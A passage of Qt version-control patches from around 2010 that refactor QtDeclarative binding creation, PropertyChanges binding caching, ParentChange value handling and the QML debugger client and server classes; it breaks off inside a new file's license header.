newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"), ctxt)); QDeclarativeAction ya; ya.property = newBinding->property(); ya.toBinding = newBinding; @@ -410,11 +412,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->scaleString.value.script(); qreal scale = script.toFloat(&ok); if (ok) { - QDeclarativeAction sa(d->target, QLatin1String("scale"), scale); + QDeclarativeAction sa(d->target, QLatin1String("scale"), ctxt, scale); actions << sa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"), ctxt)); QDeclarativeAction sa; sa.property = newBinding->property(); sa.toBinding = newBinding; @@ -429,11 +431,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->rotationString.value.script(); qreal rotation = script.toFloat(&ok); if (ok) { - QDeclarativeAction ra(d->target, QLatin1String("rotation"), rotation); + QDeclarativeAction ra(d->target, QLatin1String("rotation"), ctxt, rotation); actions << ra; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"), ctxt)); QDeclarativeAction ra; ra.property = newBinding->property(); ra.toBinding = newBinding; @@ -448,11 +450,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->widthString.value.script(); qreal width = script.toFloat(&ok); if (ok) { - QDeclarativeAction wa(d->target, QLatin1String("width"), width); + QDeclarativeAction wa(d->target, QLatin1String("width"), ctxt, width); actions << wa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"), ctxt)); QDeclarativeAction wa; wa.property = newBinding->property(); wa.toBinding = newBinding; @@ -467,11 +469,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->heightString.value.script(); qreal height = script.toFloat(&ok); if (ok) { - QDeclarativeAction ha(d->target, QLatin1String("height"), height); + QDeclarativeAction ha(d->target, QLatin1String("height"), ctxt, height); actions << ha; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"), ctxt)); QDeclarativeAction ha; ha.property = newBinding->property(); ha.toBinding = newBinding; @@ -1075,32 +1077,34 @@ QDeclarativeAnchorChanges::ActionList QDeclarativeAnchorChanges::actions() d->vCenterProp = QDeclarativeProperty(d->target, QLatin1String("anchors.verticalCenter")); d->baselineProp = QDeclarativeProperty(d->target, QLatin1String("anchors.baseline")); + QDeclarativeContext *ctxt = qmlContext(this); + if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::LeftAnchor) { - d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, qmlContext(this)); + d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, ctxt); d->leftBinding->setTarget(d->leftProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::RightAnchor) { - d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, qmlContext(this)); + d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, ctxt); d->rightBinding->setTarget(d->rightProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::HCenterAnchor) { - d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, qmlContext(this)); + d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, ctxt); d->hCenterBinding->setTarget(d->hCenterProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::TopAnchor) { - d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, qmlContext(this)); + d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, ctxt); d->topBinding->setTarget(d->topProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BottomAnchor) { - d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, qmlContext(this)); + d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, ctxt); d->bottomBinding->setTarget(d->bottomProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::VCenterAnchor) { - d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, qmlContext(this)); + d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, ctxt); d->vCenterBinding->setTarget(d->vCenterProp); } if (d->anchorSet->d_func()->usedAnchors & QDeclarativeAnchors::BaselineAnchor) { - d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, qmlContext(this)); + d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, ctxt); d->baselineBinding->setTarget(d->baselineProp); } @@ -1380,24 +1384,25 @@ QList QDeclarativeAnchorChanges::additionalActions() bool vChange = combined & QDeclarativeAnchors::Vertical_Mask; if (d->target) { + QDeclarativeContext *ctxt = qmlContext(this); QDeclarativeAction a; if (hChange && d->fromX != d->toX) { - a.property = QDeclarativeProperty(d->target, QLatin1String("x")); + a.property = QDeclarativeProperty(d->target, QLatin1String("x"), ctxt); a.toValue = d->toX; extra << a; } if (vChange && d->fromY != d->toY) { - a.property = QDeclarativeProperty(d->target, QLatin1String("y")); + a.property = QDeclarativeProperty(d->target, QLatin1String("y"), ctxt); a.toValue = d->toY; extra << a; } if (hChange && d->fromWidth != d->toWidth) { - a.property = QDeclarativeProperty(d->target, QLatin1String("width")); + a.property = QDeclarativeProperty(d->target, QLatin1String("width"), ctxt); a.toValue = d->toWidth; extra << a; } if (vChange && d->fromHeight != d->toHeight) { - a.property = QDeclarativeProperty(d->target, QLatin1String("height")); + a.property = QDeclarativeProperty(d->target, QLatin1String("height"), ctxt); a.toValue = d->toHeight; extra << a; } -- cgit v0.12 From 488e616b50707e5b37162e6d0cfc71a1ffdf9bef Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 15 Dec 2010 12:08:13 +1000 Subject: Rewrite/cache bindings created by PropertyChanges. This provides a significant optimization for initial evaluation of bindings specified in a PropertyChanges. Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarativebinding.cpp | 14 +++++++++++ src/declarative/qml/qdeclarativebinding_p.h | 3 +++ src/declarative/qml/qdeclarativecompiler.cpp | 29 ++++++++++++++++++++++ src/declarative/qml/qdeclarativecompiler_p.h | 1 + src/declarative/qml/qdeclarativecontext_p.h | 1 - src/declarative/qml/qdeclarativecustomparser.cpp | 9 +++++++ src/declarative/qml/qdeclarativecustomparser_p.h | 3 +++ .../util/qdeclarativepropertychanges.cpp | 26 ++++++++++++++++--- 8 files changed, 82 insertions(+), 4 deletions(-) diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 309d372..1ead6ce 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -46,6 +46,7 @@ #include "qdeclarativecontext.h" #include "qdeclarativeinfo.h" #include "private/qdeclarativecontext_p.h" +#include "private/qdeclarativecompiler_p.h" #include "private/qdeclarativedata_p.h" #include "private/qdeclarativestringconverters_p.h" #include "private/qdeclarativestate_p_p.h" @@ -233,6 +234,19 @@ QDeclarativeBinding::QDeclarativeBinding(void *data, QDeclarativeRefCount *rc, Q setNotifyOnValueChanged(true); } +QDeclarativeBinding * +QDeclarativeBinding::createBinding(Identifier id, QObject *obj, QDeclarativeContext *ctxt, + const QString &url, int lineNumber, QObject *parent) +{ + QDeclarativeContextData *ctxtdata = QDeclarativeContextData::get(ctxt); + + QDeclarativeEnginePrivate *engine = QDeclarativeEnginePrivate::get(qmlEngine(obj)); + QDeclarativeCompiledData *cdata = 0; + if (engine && ctxtdata && !ctxtdata->url.isEmpty()) + cdata = engine->typeLoader.get(ctxtdata->url)->compiledData(); + return cdata ? new QDeclarativeBinding((void*)cdata->datas.at(id).constData(), cdata, obj, ctxtdata, url, lineNumber, parent) : 0; +} + QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDeclarativeContext *ctxt, QObject *parent) : QDeclarativeExpression(QDeclarativeContextData::get(ctxt), obj, str, *new QDeclarativeBindingPrivate) diff --git a/src/declarative/qml/qdeclarativebinding_p.h b/src/declarative/qml/qdeclarativebinding_p.h index 7823a3d..787a3b9 100644 --- a/src/declarative/qml/qdeclarativebinding_p.h +++ b/src/declarative/qml/qdeclarativebinding_p.h @@ -162,6 +162,9 @@ public: virtual void update(QDeclarativePropertyPrivate::WriteFlags flags); virtual QString expression() const; + typedef int Identifier; + static QDeclarativeBinding *createBinding(Identifier, QObject *, QDeclarativeContext *, const QString &, int, QObject *parent=0); + public Q_SLOTS: void update() { update(QDeclarativePropertyPrivate::DontRemoveBinding); } diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 4749bf8..4f4ad3f 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2262,6 +2262,35 @@ const QMetaObject *QDeclarativeCompiler::resolveType(const QByteArray& name) con return qmltype->metaObject(); } +// similar to logic of completeComponentBuild, but also sticks data +// into datas at the end +int QDeclarativeCompiler::rewriteBinding(const QString& expression, const QByteArray& name) +{ + QDeclarativeRewrite::RewriteBinding rewriteBinding; + rewriteBinding.setName('$' + name); + bool isSharable = false; + QString rewrite = rewriteBinding(expression, 0, &isSharable); + + quint32 length = rewrite.length(); + quint32 pc; + + if (isSharable) { + pc = output->cachedClosures.count(); + pc |= 0x80000000; + output->cachedClosures.append(0); + } else { + pc = output->cachedPrograms.length(); + output->cachedPrograms.append(0); + } + + QByteArray compiledData = + QByteArray((const char *)&pc, sizeof(quint32)) + + QByteArray((const char *)&length, sizeof(quint32)) + + QByteArray((const char *)rewrite.constData(), + rewrite.length() * sizeof(QChar)); + + return output->indexForByteArray(compiledData); +} // Ensures that the dynamic meta specification on obj is valid bool QDeclarativeCompiler::checkDynamicMeta(QDeclarativeParser::Object *obj) diff --git a/src/declarative/qml/qdeclarativecompiler_p.h b/src/declarative/qml/qdeclarativecompiler_p.h index 7d76ad9..bface8f 100644 --- a/src/declarative/qml/qdeclarativecompiler_p.h +++ b/src/declarative/qml/qdeclarativecompiler_p.h @@ -161,6 +161,7 @@ public: int evaluateEnum(const QByteArray& script) const; // for QDeclarativeCustomParser::evaluateEnum const QMetaObject *resolveType(const QByteArray& name) const; // for QDeclarativeCustomParser::resolveType + int rewriteBinding(const QString& expression, const QByteArray& name); // for QDeclarativeCustomParser::rewriteBinding private: static void reset(QDeclarativeCompiledData *); diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index 6c14feb..6b71381 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -77,7 +77,6 @@ class QDeclarativeEngine; class QDeclarativeExpression; class QDeclarativeExpressionPrivate; class QDeclarativeAbstractExpression; -class QDeclarativeBinding_Id; class QDeclarativeCompiledBindings; class QDeclarativeContextData; diff --git a/src/declarative/qml/qdeclarativecustomparser.cpp b/src/declarative/qml/qdeclarativecustomparser.cpp index 97a6a00..58ffc56 100644 --- a/src/declarative/qml/qdeclarativecustomparser.cpp +++ b/src/declarative/qml/qdeclarativecustomparser.cpp @@ -304,5 +304,14 @@ const QMetaObject *QDeclarativeCustomParser::resolveType(const QByteArray& name) return compiler->resolveType(name); } +/*! + Rewrites \a expression and returns an identifier that can be + used to construct the binding later. \a name + is used as the name of the rewritten function. +*/ +QDeclarativeBinding::Identifier QDeclarativeCustomParser::rewriteBinding(const QString& expression, const QByteArray& name) +{ + return compiler->rewriteBinding(expression, name); +} QT_END_NAMESPACE diff --git a/src/declarative/qml/qdeclarativecustomparser_p.h b/src/declarative/qml/qdeclarativecustomparser_p.h index c3f9dd2..9b419c2 100644 --- a/src/declarative/qml/qdeclarativecustomparser_p.h +++ b/src/declarative/qml/qdeclarativecustomparser_p.h @@ -56,6 +56,7 @@ #include "private/qdeclarativemetatype_p.h" #include "qdeclarativeerror.h" #include "private/qdeclarativeparser_p.h" +#include "private/qdeclarativebinding_p.h" #include #include @@ -140,6 +141,8 @@ protected: const QMetaObject *resolveType(const QByteArray&) const; + QDeclarativeBinding::Identifier rewriteBinding(const QString&, const QByteArray&); + private: QList exceptions; QDeclarativeCompiler *compiler; diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp index 8d01b80..400803e 100644 --- a/src/declarative/util/qdeclarativepropertychanges.cpp +++ b/src/declarative/util/qdeclarativepropertychanges.cpp @@ -42,6 +42,9 @@ #include "private/qdeclarativepropertychanges_p.h" #include "private/qdeclarativeopenmetaobject_p.h" +#include "private/qdeclarativerewrite_p.h" +#include "private/qdeclarativeengine_p.h" +#include "private/qdeclarativecompiler_p.h" #include #include @@ -219,6 +222,7 @@ public: QList > properties; QList > expressions; + QList ids; QList signalReplacements; QDeclarativeProperty property(const QByteArray &); @@ -267,6 +271,7 @@ QDeclarativePropertyChangesParser::compile(const QList(data.at(ii).second); QVariant var; bool isScript = v.isScript(); + QDeclarativeBinding::Identifier id; switch(v.type()) { case QDeclarativeParser::Variant::Boolean: var = QVariant(v.asBoolean()); @@ -280,10 +285,17 @@ QDeclarativePropertyChangesParser::compile(const QList> name; ds >> isScript; ds >> data; + if (isScript) + ds >> id; QDeclarativeProperty prop = property(name); //### better way to check for signal property? if (prop.type() & QDeclarativeProperty::SignalProperty) { @@ -323,6 +338,7 @@ void QDeclarativePropertyChangesPrivate::decode() if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber); expressions << qMakePair(name, expression); + ids << id; } else { properties << qMakePair(name, data); } @@ -452,10 +468,14 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() a.toValue = d->expressions.at(ii).second->evaluate(); } else { QDeclarativeExpression *e = d->expressions.at(ii).second; - QDeclarativeBinding *newBinding = - new QDeclarativeBinding(e->expression(), object(), qmlContext(this)); + + QDeclarativeBinding::Identifier id = d->ids.at(ii); + QDeclarativeBinding *newBinding = QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()); + if (!newBinding) { + newBinding = new QDeclarativeBinding(e->expression(), object(), qmlContext(this)); + newBinding->setSourceLocation(e->sourceFile(), e->lineNumber()); + } newBinding->setTarget(prop); - newBinding->setSourceLocation(e->sourceFile(), e->lineNumber()); a.toBinding = newBinding; a.deletableToBinding = true; } -- cgit v0.12 From 24b8dcee5bd51784c341acc708ce3985d85d430a Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 16 Dec 2010 14:54:28 +1000 Subject: ParentChange optimizations. The QDeclarativeScriptStrings used for the properties are unlikely to change, so we immediately attempt to convert to a real value, rather than converting every time actions() is called. Task-number: QTBUG-15331 Reviewed-by: Martin Jones --- .../util/qdeclarativestateoperations.cpp | 77 ++++++++++++---------- 1 file changed, 41 insertions(+), 36 deletions(-) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 82360b2..b606ff3 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -83,6 +83,13 @@ public: QDeclarativeNullableValue scaleString; QDeclarativeNullableValue rotationString; + QDeclarativeNullableValue x; + QDeclarativeNullableValue y; + QDeclarativeNullableValue width; + QDeclarativeNullableValue height; + QDeclarativeNullableValue scale; + QDeclarativeNullableValue rotation; + void doChange(QDeclarativeItem *targetParent, QDeclarativeItem *stackBefore = 0); }; @@ -213,10 +220,21 @@ QDeclarativeScriptString QDeclarativeParentChange::x() const return d->xString.value; } +void tryReal(QDeclarativeNullableValue &value, const QString &string) +{ + bool ok = false; + qreal realValue = string.toFloat(&ok); + if (ok) + value = realValue; + else + value.invalidate(); +} + void QDeclarativeParentChange::setX(QDeclarativeScriptString x) { Q_D(QDeclarativeParentChange); d->xString = x; + tryReal(d->x, x.script()); } bool QDeclarativeParentChange::xIsSet() const @@ -235,6 +253,7 @@ void QDeclarativeParentChange::setY(QDeclarativeScriptString y) { Q_D(QDeclarativeParentChange); d->yString = y; + tryReal(d->y, y.script()); } bool QDeclarativeParentChange::yIsSet() const @@ -253,6 +272,7 @@ void QDeclarativeParentChange::setWidth(QDeclarativeScriptString width) { Q_D(QDeclarativeParentChange); d->widthString = width; + tryReal(d->width, width.script()); } bool QDeclarativeParentChange::widthIsSet() const @@ -271,6 +291,7 @@ void QDeclarativeParentChange::setHeight(QDeclarativeScriptString height) { Q_D(QDeclarativeParentChange); d->heightString = height; + tryReal(d->height, height.script()); } bool QDeclarativeParentChange::heightIsSet() const @@ -289,6 +310,7 @@ void QDeclarativeParentChange::setScale(QDeclarativeScriptString scale) { Q_D(QDeclarativeParentChange); d->scaleString = scale; + tryReal(d->scale, scale.script()); } bool QDeclarativeParentChange::scaleIsSet() const @@ -307,6 +329,7 @@ void QDeclarativeParentChange::setRotation(QDeclarativeScriptString rotation) { Q_D(QDeclarativeParentChange); d->rotationString = rotation; + tryReal(d->rotation, rotation.script()); } bool QDeclarativeParentChange::rotationIsSet() const @@ -370,14 +393,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QDeclarativeContext *ctxt = qmlContext(this); if (d->xString.isValid()) { - bool ok = false; - QString script = d->xString.value.script(); - qreal x = script.toFloat(&ok); - if (ok) { - QDeclarativeAction xa(d->target, QLatin1String("x"), ctxt, x); + if (d->x.isValid()) { + QDeclarativeAction xa(d->target, QLatin1String("x"), ctxt, d->x.value); actions << xa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->xString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"), ctxt)); QDeclarativeAction xa; xa.property = newBinding->property(); @@ -389,14 +409,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->yString.isValid()) { - bool ok = false; - QString script = d->yString.value.script(); - qreal y = script.toFloat(&ok); - if (ok) { - QDeclarativeAction ya(d->target, QLatin1String("y"), ctxt, y); + if (d->y.isValid()) { + QDeclarativeAction ya(d->target, QLatin1String("y"), ctxt, d->y.value); actions << ya; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->yString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"), ctxt)); QDeclarativeAction ya; ya.property = newBinding->property(); @@ -408,14 +425,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->scaleString.isValid()) { - bool ok = false; - QString script = d->scaleString.value.script(); - qreal scale = script.toFloat(&ok); - if (ok) { - QDeclarativeAction sa(d->target, QLatin1String("scale"), ctxt, scale); + if (d->scale.isValid()) { + QDeclarativeAction sa(d->target, QLatin1String("scale"), ctxt, d->scale.value); actions << sa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->scaleString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"), ctxt)); QDeclarativeAction sa; sa.property = newBinding->property(); @@ -427,14 +441,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->rotationString.isValid()) { - bool ok = false; - QString script = d->rotationString.value.script(); - qreal rotation = script.toFloat(&ok); - if (ok) { - QDeclarativeAction ra(d->target, QLatin1String("rotation"), ctxt, rotation); + if (d->rotation.isValid()) { + QDeclarativeAction ra(d->target, QLatin1String("rotation"), ctxt, d->rotation.value); actions << ra; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->rotationString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"), ctxt)); QDeclarativeAction ra; ra.property = newBinding->property(); @@ -446,14 +457,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->widthString.isValid()) { - bool ok = false; - QString script = d->widthString.value.script(); - qreal width = script.toFloat(&ok); - if (ok) { - QDeclarativeAction wa(d->target, QLatin1String("width"), ctxt, width); + if (d->width.isValid()) { + QDeclarativeAction wa(d->target, QLatin1String("width"), ctxt, d->width.value); actions << wa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->widthString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"), ctxt)); QDeclarativeAction wa; wa.property = newBinding->property(); @@ -465,14 +473,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() } if (d->heightString.isValid()) { - bool ok = false; - QString script = d->heightString.value.script(); - qreal height = script.toFloat(&ok); - if (ok) { - QDeclarativeAction ha(d->target, QLatin1String("height"), ctxt, height); + if (d->height.isValid()) { + QDeclarativeAction ha(d->target, QLatin1String("height"), ctxt, d->height.value); actions << ha; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->heightString.value.script(), d->target, ctxt); newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"), ctxt)); QDeclarativeAction ha; ha.property = newBinding->property(); -- cgit v0.12 From 9536b35d63716e88482baeed34d11509ed724606 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 17 Dec 2010 16:32:24 +1000 Subject: Fix PropertyChange's binding rewriting for 'dot' properties. For cases like PropertyChanges { font.pixelSize: myPixelSize } it was attempting to rewrite the function name as font.pixelSize, which is not syntactically correct. We now rewrite the function name as pixelSize. --- src/declarative/qml/qdeclarativecompiler.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 4f4ad3f..b2b0990 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2267,7 +2267,7 @@ const QMetaObject *QDeclarativeCompiler::resolveType(const QByteArray& name) con int QDeclarativeCompiler::rewriteBinding(const QString& expression, const QByteArray& name) { QDeclarativeRewrite::RewriteBinding rewriteBinding; - rewriteBinding.setName('$' + name); + rewriteBinding.setName('$' + name.mid(name.lastIndexOf('.') + 1)); bool isSharable = false; QString rewrite = rewriteBinding(expression, 0, &isSharable); -- cgit v0.12 From 84456ce081fa3c2e2f10b5162c70566f98124b0f Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Thu, 18 Nov 2010 10:32:36 +0100 Subject: QDeclarativeDebug: Rename member variable 'client' points to the QDeclarativeDebugConnection object, so better name it 'connection' then. Reviewed-by: Christiaan Janssen --- .../debugger/qdeclarativedebugclient.cpp | 36 +++++++++++----------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/src/declarative/debugger/qdeclarativedebugclient.cpp b/src/declarative/debugger/qdeclarativedebugclient.cpp index f5c5751..204ca4f 100644 --- a/src/declarative/debugger/qdeclarativedebugclient.cpp +++ b/src/declarative/debugger/qdeclarativedebugclient.cpp @@ -61,7 +61,7 @@ public: QDeclarativeDebugClientPrivate(); QString name; - QDeclarativeDebugConnection *client; + QDeclarativeDebugConnection *connection; }; class QDeclarativeDebugConnectionPrivate : public QObject @@ -202,7 +202,7 @@ QDeclarativeDebugConnection::~QDeclarativeDebugConnection() { QHash::iterator iter = d->plugins.begin(); for (; iter != d->plugins.end(); ++iter) { - iter.value()->d_func()->client = 0; + iter.value()->d_func()->connection = 0; iter.value()->statusChanged(QDeclarativeDebugClient::NotConnected); } } @@ -213,7 +213,7 @@ bool QDeclarativeDebugConnection::isConnected() const } QDeclarativeDebugClientPrivate::QDeclarativeDebugClientPrivate() -: client(0) +: connection(0) { } @@ -223,26 +223,26 @@ QDeclarativeDebugClient::QDeclarativeDebugClient(const QString &name, { Q_D(QDeclarativeDebugClient); d->name = name; - d->client = parent; + d->connection = parent; - if (!d->client) + if (!d->connection) return; - if (d->client->d->plugins.contains(name)) { + if (d->connection->d->plugins.contains(name)) { qWarning() << "QDeclarativeDebugClient: Conflicting plugin name" << name; - d->client = 0; + d->connection = 0; } else { - d->client->d->plugins.insert(name, this); - d->client->d->advertisePlugins(); + d->connection->d->plugins.insert(name, this); + d->connection->d->advertisePlugins(); } } QDeclarativeDebugClient::~QDeclarativeDebugClient() { Q_D(const QDeclarativeDebugClient); - if (d->client && d->client->d) { - d->client->d->plugins.remove(d->name); - d->client->d->advertisePlugins(); + if (d->connection && d->connection->d) { + d->connection->d->plugins.remove(d->name); + d->connection->d->advertisePlugins(); } } @@ -255,12 +255,12 @@ QString QDeclarativeDebugClient::name() const QDeclarativeDebugClient::Status QDeclarativeDebugClient::status() const { Q_D(const QDeclarativeDebugClient); - if (!d->client - || !d->client->isConnected() - || !d->client->d->gotHello) + if (!d->connection + || !d->connection->isConnected() + || !d->connection->d->gotHello) return NotConnected; - if (d->client->d->serverPlugins.contains(d->name)) + if (d->connection->d->serverPlugins.contains(d->name)) return Enabled; return Unavailable; @@ -275,8 +275,8 @@ void QDeclarativeDebugClient::sendMessage(const QByteArray &message) QPacket pack; pack << d->name << message; - d->client->d->protocol->send(pack); - d->client->d->q->flush(); + d->connection->d->protocol->send(pack); + d->connection->d->q->flush(); } void QDeclarativeDebugClient::statusChanged(Status) -- cgit v0.12 From 5d251ef253065d68967ae3263b3cf7f1d93d7a00 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Thu, 18 Nov 2010 14:54:24 +0100 Subject: QDeclarativeDebug: Decouple QDDServer, QDDService classes Move QDeclarativeDebugServer class into it's own files and make the classes less interdependent. --- src/declarative/debugger/debugger.pri | 7 +- .../debugger/qdeclarativedebugserver.cpp | 366 +++++++++++++++++++++ .../debugger/qdeclarativedebugserver_p.h | 89 +++++ .../debugger/qdeclarativedebugservice.cpp | 319 +----------------- .../debugger/qdeclarativedebugservice_p_p.h | 71 ++++ 5 files changed, 541 insertions(+), 311 deletions(-) create mode 100644 src/declarative/debugger/qdeclarativedebugserver.cpp create mode 100644 src/declarative/debugger/qdeclarativedebugserver_p.h create mode 100644 src/declarative/debugger/qdeclarativedebugservice_p_p.h diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri index 25f7687..144d896 100644 --- a/src/declarative/debugger/debugger.pri +++ b/src/declarative/debugger/debugger.pri @@ -7,13 +7,16 @@ SOURCES += \ $$PWD/qdeclarativedebugclient.cpp \ $$PWD/qdeclarativedebug.cpp \ $$PWD/qdeclarativedebugtrace.cpp \ - $$PWD/qdeclarativedebughelper.cpp + $$PWD/qdeclarativedebughelper.cpp \ + $$PWD/qdeclarativedebugserver.cpp HEADERS += \ $$PWD/qdeclarativedebuggerstatus_p.h \ $$PWD/qpacketprotocol_p.h \ $$PWD/qdeclarativedebugservice_p.h \ + $$PWD/qdeclarativedebugservice_p_p.h \ $$PWD/qdeclarativedebugclient_p.h \ $$PWD/qdeclarativedebug_p.h \ $$PWD/qdeclarativedebugtrace_p.h \ - $$PWD/qdeclarativedebughelper_p.h + $$PWD/qdeclarativedebughelper_p.h \ + $$PWD/qdeclarativedebugserver_p.h diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp new file mode 100644 index 0000000..4bb4e2c --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugserver.cpp @@ -0,0 +1,366 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the 